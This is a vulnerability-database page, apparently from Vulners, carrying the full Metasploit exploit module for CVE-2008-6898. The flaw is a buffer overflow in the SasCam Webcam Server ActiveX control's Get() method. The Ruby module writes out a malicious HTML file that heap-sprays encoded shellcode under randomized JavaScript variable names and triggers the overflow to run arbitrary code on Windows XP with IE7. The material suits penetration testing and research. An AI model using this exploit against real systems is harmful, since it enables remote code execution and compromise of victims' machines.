Lucene search
K

SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow

🗓️ 05 Jan 2009 00:55:29Reported by dean <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow. Vulnerable to buffer overflow via Get method

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-6898
29 Dec 200800:00
circl
CVE
CVE-2008-6898
5 Aug 200922:00
cve
Cvelist
CVE-2008-6898
5 Aug 200922:00
cvelist
Exploit DB
SasCam Webcam Server 2.6.5 - &#039;Get()&#039; Method Buffer Overflow (Metasploit)
25 Sep 201000:00
exploitdb
NVD
CVE-2008-6898
5 Aug 200922:30
nvd
Prion
Buffer overflow
5 Aug 200922:30
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow',
      'Description'    => %q{
        The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.
        By passing an overly long argument via the Get method, a remote attacker could
        overflow a buffer and execute arbitrary code on the system with the privileges
        of the user. This control is not marked safe for scripting, please choose your
        attack vector carefully.
        },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-6898' ],
          [ 'OSVDB', '55945'],
          [ 'BID','33053' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
        ],
      'DisclosureDate' => '2008-12-29',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.html']),
      ])
  end

  def exploit

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Get(#{rand8});
</script>
</html>
|

    # create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(content)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation